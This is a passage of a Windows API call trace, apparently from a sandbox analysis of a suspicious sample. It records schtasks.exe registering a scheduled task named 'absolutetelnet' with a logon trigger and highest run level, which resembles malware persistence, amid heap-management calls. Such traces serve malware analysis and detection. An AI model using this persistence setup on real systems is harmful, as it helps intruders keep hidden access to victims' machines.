_Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.960] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x1157a5aba90, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0129.960] lstrlenW (lpString="HOURLY") returned 6 [0129.961] GetProcessHeap () returned 0x1157a5a0000 [0129.961] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0xe) returned 0x1157a5aa8b0 [0129.961] GetThreadLocale () returned 0x409 [0129.961] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0129.961] GetProcessHeap () returned 0x1157a5a0000 [0129.961] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5ab4b0 [0129.961] _memicmp (_Buf1=0x1157a5a3950, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.961] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x1157a5aba90, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0129.961] lstrlenW (lpString="DAILY") returned 5 [0129.961] GetProcessHeap () returned 0x1157a5a0000 [0129.961] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0xc) returned 0x1157a5aa9f0 [0129.961] GetThreadLocale () returned 0x409 [0129.961] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0129.961] GetProcessHeap () returned 0x1157a5a0000 [0129.961] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5ab450 [0129.961] _memicmp (_Buf1=0x1157a5a3950, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.961] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x1157a5aba90, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0129.961] lstrlenW (lpString="WEEKLY") returned 6 [0129.961] GetProcessHeap () returned 0x1157a5a0000 [0129.961] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0xe) returned 0x1157a5aa9b0 [0129.961] GetThreadLocale () returned 0x409 [0129.961] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0129.961] GetProcessHeap () returned 0x1157a5a0000 [0129.961] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x20) returned 0x1157a5aba50 [0129.961] _memicmp (_Buf1=0x1157a5a3950, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.962] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x1157a5aba90, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0129.962] lstrlenW (lpString="MONTHLY") returned 7 [0129.962] GetProcessHeap () returned 0x1157a5a0000 [0129.962] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x10) returned 0x1157a5aa870 [0129.962] GetThreadLocale () returned 0x409 [0129.962] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0129.962] _memicmp (_Buf1=0x1157a5a3950, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.962] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x1157a5aba90, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0129.962] lstrlenW (lpString="ONCE") returned 4 [0129.962] GetProcessHeap () returned 0x1157a5a0000 [0129.962] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0xa) returned 0x1157a5aa970 [0129.962] GetThreadLocale () returned 0x409 [0129.962] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0129.962] _memicmp (_Buf1=0x1157a5a3950, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.962] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x1157a5aba90, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0129.962] lstrlenW (lpString="ONSTART") returned 7 [0129.962] GetThreadLocale () returned 0x409 [0129.962] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0129.962] _memicmp (_Buf1=0x1157a5a3950, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.962] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x1157a5aba90, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0129.962] lstrlenW (lpString="ONLOGON") returned 7 [0129.962] GetThreadLocale () returned 0x409 [0129.962] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0129.963] RtlRestoreLastWin32Error () returned 0x64806f000 [0129.963] GetProcessHeap () returned 0x1157a5a0000 [0129.963] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x1fc) returned 0x1157a5aabd0 [0129.963] _memicmp (_Buf1=0x1157a5a3950, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.963] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1157a5aba90, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0129.963] lstrlenW (lpString="First") returned 5 [0129.963] _memicmp (_Buf1=0x1157a5a3950, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.963] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1157a5aba90, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0129.963] lstrlenW (lpString="Second") returned 6 [0129.963] _memicmp (_Buf1=0x1157a5a3950, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.963] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1157a5aba90, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0129.963] lstrlenW (lpString="Third") returned 5 [0129.963] _memicmp (_Buf1=0x1157a5a3950, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.963] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1157a5aba90, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0129.963] lstrlenW (lpString="Fourth") returned 6 [0129.963] _memicmp (_Buf1=0x1157a5a3950, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.963] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1157a5aba90, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0129.964] lstrlenW (lpString="Last") returned 4 [0129.964] _memicmp (_Buf1=0x1157a5a3950, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.964] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1157a5aba90, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0129.964] lstrlenW (lpString="First") returned 5 [0129.964] _memicmp (_Buf1=0x1157a5a3950, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.964] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1157a5aba90, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0129.964] lstrlenW (lpString="Second") returned 6 [0129.964] _memicmp (_Buf1=0x1157a5a3950, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.964] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1157a5aba90, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0129.964] lstrlenW (lpString="Third") returned 5 [0129.964] GetProcessHeap () returned 0x1157a5a0000 [0129.964] GetProcessHeap () returned 0x1157a5a0000 [0129.964] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5aa970) returned 1 [0129.964] GetProcessHeap () returned 0x1157a5a0000 [0129.964] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5aa970) returned 0xa [0129.964] GetProcessHeap () returned 0x1157a5a0000 [0129.964] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0xc) returned 0x1157a5aaaf0 [0129.964] _memicmp (_Buf1=0x1157a5a3950, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.964] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1157a5aba90, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0129.964] lstrlenW (lpString="Fourth") returned 6 [0129.964] _memicmp (_Buf1=0x1157a5a3950, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.964] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1157a5aba90, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0129.964] lstrlenW (lpString="Last") returned 4 [0129.965] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x64827c420, cchData=128 | out: lpLCData="0") returned 2 [0129.965] _memicmp (_Buf1=0x1157a5a3950, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.965] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1157a5aba90, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0129.965] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0129.965] GetProcessHeap () returned 0x1157a5a0000 [0129.965] GetProcessHeap () returned 0x1157a5a0000 [0129.965] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5aaa90) returned 1 [0129.965] GetProcessHeap () returned 0x1157a5a0000 [0129.965] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5aaa90) returned 0x10 [0129.965] GetProcessHeap () returned 0x1157a5a0000 [0129.965] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x16) returned 0x1157a5aaa90 [0129.965] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x64827c440, cchData=128 | out: lpLCData="0") returned 2 [0129.965] _memicmp (_Buf1=0x1157a5a3950, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0129.965] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1157a5aba90, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0129.965] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0129.965] GetProcessHeap () returned 0x1157a5a0000 [0129.965] GetProcessHeap () returned 0x1157a5a0000 [0129.965] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5aa810) returned 1 [0129.965] GetProcessHeap () returned 0x1157a5a0000 [0129.966] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5aa810) returned 0x10 [0129.966] GetProcessHeap () returned 0x1157a5a0000 [0129.966] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x16) returned 0x1157a5aab30 [0129.966] GetLocalTime (in: lpSystemTime=0x64827c678 | out: lpSystemTime=0x64827c678*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xe, wSecond=0x33, wMilliseconds=0x73)) [0129.966] GetLocalTime (in: lpSystemTime=0x64827d068 | out: lpSystemTime=0x64827d068*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xe, wSecond=0x33, wMilliseconds=0x73)) [0129.966] lstrlenW (lpString="") returned 0 [0129.966] lstrlenW (lpString="") returned 0 [0129.966] lstrlenW (lpString="") returned 0 [0129.966] lstrlenW (lpString="") returned 0 [0129.966] lstrlenW (lpString="") returned 0 [0129.966] lstrlenW (lpString="") returned 0 [0129.966] lstrlenW (lpString="") returned 0 [0129.966] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0129.999] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0130.315] CoCreateInstance (in: rclsid=0x7ff6b6f79e68*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x7ff6b6f79e78*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x64827cdc0 | out: ppv=0x64827cdc0*=0x1157a815700) returned 0x0 [0130.341] TaskScheduler:ITaskService:Connect (This=0x1157a815700, serverName=0x64827ceb0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x64827ce80*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0x64827ce60*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x64827ce40*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0130.372] TaskScheduler:ITaskService:GetFolder (in: This=0x1157a815700, Path=0x0, ppFolder=0x64827cfa0 | out: ppFolder=0x64827cfa0*=0x1157a815880) returned 0x0 [0130.379] TaskScheduler:ITaskService:NewTask (in: This=0x1157a815700, flags=0x0, ppDefinition=0x64827cf78 | out: ppDefinition=0x64827cf78*=0x1157a815900) returned 0x0 [0130.380] ITaskDefinition:get_Actions (in: This=0x1157a815900, ppActions=0x64827cec0 | out: ppActions=0x64827cec0*=0x1157a815990) returned 0x0 [0130.380] IActionCollection:Create (in: This=0x1157a815990, Type=0, ppAction=0x64827cf00 | out: ppAction=0x64827cf00*=0x1157a815da0) returned 0x0 [0130.380] IUnknown:Release (This=0x1157a815da0) returned 0x1 [0130.380] IUnknown:Release (This=0x1157a815990) returned 0x1 [0130.380] ITaskDefinition:get_Triggers (in: This=0x1157a815900, ppTriggers=0x64827ca70 | out: ppTriggers=0x64827ca70*=0x1157a815c50) returned 0x0 [0130.381] ITriggerCollection:Create (in: This=0x1157a815c50, Type=9, ppTrigger=0x64827ca58 | out: ppTrigger=0x64827ca58*=0x1157a815e10) returned 0x0 [0130.381] IUnknown:QueryInterface (in: This=0x1157a815e10, riid=0x7ff6b6f78a30*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0x64827ca50 | out: ppvObject=0x64827ca50*=0x1157a815e10) returned 0x0 [0130.381] IUnknown:Release (This=0x1157a815e10) returned 0x2 [0130.382] _vsnwprintf (in: _Buffer=0x64827c9a0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x64827c978 | out: _Buffer="2023-09-19T17:14:00") returned 19 [0130.382] ITrigger:put_StartBoundary (This=0x1157a815e10, StartBoundary="2023-09-19T17:14:00") returned 0x0 [0130.382] lstrlenW (lpString="") returned 0 [0130.382] lstrlenW (lpString="") returned 0 [0130.382] lstrlenW (lpString="") returned 0 [0130.382] lstrlenW (lpString="") returned 0 [0130.382] IUnknown:Release (This=0x1157a815e10) returned 0x1 [0130.382] IUnknown:Release (This=0x1157a815c50) returned 0x1 [0130.382] ITaskDefinition:get_Settings (in: This=0x1157a815900, ppSettings=0x64827cf00 | out: ppSettings=0x64827cf00*=0x1157a815ad0) returned 0x0 [0130.382] lstrlenW (lpString="") returned 0 [0130.382] IUnknown:Release (This=0x1157a815ad0) returned 0x3 [0130.382] GetLocalTime (in: lpSystemTime=0x64827cdb8 | out: lpSystemTime=0x64827cdb8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xe, wSecond=0x33, wMilliseconds=0x219)) [0130.382] ResolveDelayLoadedAPI () returned 0x7ffb1c453fa0 [0130.383] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x64827cdd0, nSize=0x64827cda8 | out: lpNameBuffer="XC64ZB\\RDhJ0CNFevzX", nSize=0x64827cda8) returned 0x1 [0130.383] ITaskDefinition:get_RegistrationInfo (in: This=0x1157a815900, ppRegistrationInfo=0x64827cda0 | out: ppRegistrationInfo=0x64827cda0*=0x1157a815a10) returned 0x0 [0130.383] IRegistrationInfo:put_Author (This=0x1157a815a10, Author="XC64ZB\\RDhJ0CNFevzX") returned 0x0 [0130.383] _vsnwprintf (in: _Buffer=0x64827cdd0, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x64827cd68 | out: _Buffer="2023-09-19T17:14:52") returned 19 [0130.383] IRegistrationInfo:put_Date (This=0x1157a815a10, Date="2023-09-19T17:14:52") returned 0x0 [0130.383] IUnknown:Release (This=0x1157a815a10) returned 0x1 [0130.384] malloc (_Size=0x18) returned 0x1157a815f30 [0130.384] free (_Block=0x1157a815f30) [0130.384] lstrlenW (lpString="") returned 0 [0130.384] ITaskDefinition:get_Principal (in: This=0x1157a815900, ppPrincipal=0x64827cf68 | out: ppPrincipal=0x64827cf68*=0x1157a815cc0) returned 0x0 [0130.384] IPrincipal:put_RunLevel (This=0x1157a815cc0, RunLevel=1) returned 0x0 [0130.384] IUnknown:Release (This=0x1157a815cc0) returned 0x1 [0130.384] malloc (_Size=0x18) returned 0x1157a815f30 [0130.384] ITaskFolder:RegisterTaskDefinition (in: This=0x1157a815880, Path="absolutetelnet", pDefinition=0x1157a815900, flags=6, UserId=0x64827d010*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x64827cff0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=3, sddl=0x64827d030*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x64827cfd0 | out: ppTask=0x64827cfd0*=0x1157a816fd0) returned 0x0 [0130.482] free (_Block=0x1157a815f30) [0130.482] _memicmp (_Buf1=0x1157a5a3950, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0130.482] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x1157a5aba90, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0130.482] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0130.482] GetProcessHeap () returned 0x1157a5a0000 [0130.482] GetProcessHeap () returned 0x1157a5a0000 [0130.482] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5aaad0) returned 1 [0130.482] GetProcessHeap () returned 0x1157a5a0000 [0130.482] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5aaad0) returned 0xe [0130.482] GetProcessHeap () returned 0x1157a5a0000 [0130.482] RtlAllocateHeap (HeapHandle=0x1157a5a0000, Flags=0xc, Size=0x82) returned 0x1157a5c6c00 [0130.482] _vsnwprintf (in: _Buffer=0x64827d680, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x64827cf18 | out: _Buffer="SUCCESS: The scheduled task \"absolutetelnet\" has successfully been created.\n") returned 76 [0130.482] __iob_func () returned 0x7ffb1de6e210 [0130.483] _fileno (_File=0x7ffb1de6e240) returned -2 [0130.483] _errno () returned 0x1157a810840 [0130.483] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0130.483] RtlRestoreLastWin32Error () returned 0x64806f000 [0130.483] lstrlenW (lpString="SUCCESS: The scheduled task \"absolutetelnet\" has successfully been created.\n") returned 76 [0130.483] GetConsoleOutputCP () returned 0x0 [0130.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"absolutetelnet\" has successfully been created.\n", cchWideChar=76, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 76 [0130.483] GetConsoleOutputCP () returned 0x0 [0130.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"absolutetelnet\" has successfully been created.\n", cchWideChar=76, lpMultiByteStr=0x7ff6b6f88630, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"absolutetelnet\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 76 [0130.483] fprintf (in: _File=0x7ffb1de6e240, _Format="%s" | out: _File=0x7ffb1de6e240) returned 76 [0130.483] fflush (in: _File=0x7ffb1de6e240 | out: _File=0x7ffb1de6e240) returned -1 [0130.483] IUnknown:Release (This=0x1157a816fd0) returned 0x0 [0130.483] TaskScheduler:IUnknown:Release (This=0x1157a815900) returned 0x0 [0130.484] TaskScheduler:IUnknown:Release (This=0x1157a815880) returned 0x0 [0130.484] TaskScheduler:IUnknown:Release (This=0x1157a815700) returned 0x0 [0130.484] lstrlenW (lpString="") returned 0 [0130.484] GetProcessHeap () returned 0x1157a5a0000 [0130.484] GetProcessHeap () returned 0x1157a5a0000 [0130.484] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5aabd0) returned 1 [0130.484] GetProcessHeap () returned 0x1157a5a0000 [0130.484] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5aabd0) returned 0x1fc [0130.484] GetProcessHeap () returned 0x1157a5a0000 [0130.484] GetProcessHeap () returned 0x1157a5a0000 [0130.484] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5aaa50) returned 1 [0130.484] GetProcessHeap () returned 0x1157a5a0000 [0130.484] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5aaa50) returned 0x16 [0130.484] GetProcessHeap () returned 0x1157a5a0000 [0130.484] GetProcessHeap () returned 0x1157a5a0000 [0130.484] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5aab50) returned 1 [0130.484] GetProcessHeap () returned 0x1157a5a0000 [0130.484] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5aab50) returned 0x18 [0130.484] GetProcessHeap () returned 0x1157a5a0000 [0130.484] GetProcessHeap () returned 0x1157a5a0000 [0130.484] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5ab7b0) returned 1 [0130.484] GetProcessHeap () returned 0x1157a5a0000 [0130.484] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5ab7b0) returned 0x20 [0130.484] GetProcessHeap () returned 0x1157a5a0000 [0130.484] GetProcessHeap () returned 0x1157a5a0000 [0130.485] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a38a0) returned 1 [0130.485] GetProcessHeap () returned 0x1157a5a0000 [0130.485] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a38a0) returned 0xa0 [0130.485] GetProcessHeap () returned 0x1157a5a0000 [0130.485] GetProcessHeap () returned 0x1157a5a0000 [0130.485] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a3880) returned 1 [0130.485] GetProcessHeap () returned 0x1157a5a0000 [0130.485] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a3880) returned 0x18 [0130.485] GetProcessHeap () returned 0x1157a5a0000 [0130.485] GetProcessHeap () returned 0x1157a5a0000 [0130.485] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5ab600) returned 1 [0130.485] GetProcessHeap () returned 0x1157a5a0000 [0130.485] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5ab600) returned 0x20 [0130.485] GetProcessHeap () returned 0x1157a5a0000 [0130.485] GetProcessHeap () returned 0x1157a5a0000 [0130.485] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5abcf0) returned 1 [0130.485] GetProcessHeap () returned 0x1157a5a0000 [0130.485] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5abcf0) returned 0x5a [0130.485] GetProcessHeap () returned 0x1157a5a0000 [0130.485] GetProcessHeap () returned 0x1157a5a0000 [0130.485] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5aab10) returned 1 [0130.485] GetProcessHeap () returned 0x1157a5a0000 [0130.485] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5aab10) returned 0x18 [0130.485] GetProcessHeap () returned 0x1157a5a0000 [0130.485] GetProcessHeap () returned 0x1157a5a0000 [0130.485] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5ab9c0) returned 1 [0130.485] GetProcessHeap () returned 0x1157a5a0000 [0130.485] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5ab9c0) returned 0x20 [0130.485] GetProcessHeap () returned 0x1157a5a0000 [0130.485] GetProcessHeap () returned 0x1157a5a0000 [0130.486] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5ac3f0) returned 1 [0130.486] GetProcessHeap () returned 0x1157a5a0000 [0130.486] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5ac3f0) returned 0x5c [0130.486] GetProcessHeap () returned 0x1157a5a0000 [0130.486] GetProcessHeap () returned 0x1157a5a0000 [0130.486] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5aa990) returned 1 [0130.486] GetProcessHeap () returned 0x1157a5a0000 [0130.486] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5aa990) returned 0x18 [0130.486] GetProcessHeap () returned 0x1157a5a0000 [0130.486] GetProcessHeap () returned 0x1157a5a0000 [0130.486] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a8f10) returned 1 [0130.486] GetProcessHeap () returned 0x1157a5a0000 [0130.486] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a8f10) returned 0x20 [0130.486] GetProcessHeap () returned 0x1157a5a0000 [0130.486] GetProcessHeap () returned 0x1157a5a0000 [0130.486] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a3bd0) returned 1 [0130.486] GetProcessHeap () returned 0x1157a5a0000 [0130.486] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a3bd0) returned 0xe [0130.486] GetProcessHeap () returned 0x1157a5a0000 [0130.486] GetProcessHeap () returned 0x1157a5a0000 [0130.486] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a3bb0) returned 1 [0130.486] GetProcessHeap () returned 0x1157a5a0000 [0130.486] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a3bb0) returned 0x18 [0130.486] GetProcessHeap () returned 0x1157a5a0000 [0130.486] GetProcessHeap () returned 0x1157a5a0000 [0130.486] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a8eb0) returned 1 [0130.486] GetProcessHeap () returned 0x1157a5a0000 [0130.486] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a8eb0) returned 0x20 [0130.487] GetProcessHeap () returned 0x1157a5a0000 [0130.487] GetProcessHeap () returned 0x1157a5a0000 [0130.487] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a9a60) returned 1 [0130.487] GetProcessHeap () returned 0x1157a5a0000 [0130.487] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a9a60) returned 0x208 [0130.487] GetProcessHeap () returned 0x1157a5a0000 [0130.487] GetProcessHeap () returned 0x1157a5a0000 [0130.487] HeapValidate (hHeap=0x1157a5a0000, dwFlags=0x0, lpMem=0x1157a5a46d0) returned 1 [0130.487] GetProcessHeap () returned 0x1157a5a0000 [0130.487] RtlSizeHeap (HeapHandle=0x1157a5a0000, Flags=0x0, MemoryPointer=0x1157a5a46d0) returned 0x18 [0130.487] GetProcessHeap () returned 0x1157a5a0000 [0130.487] GetProcessHeap () returned 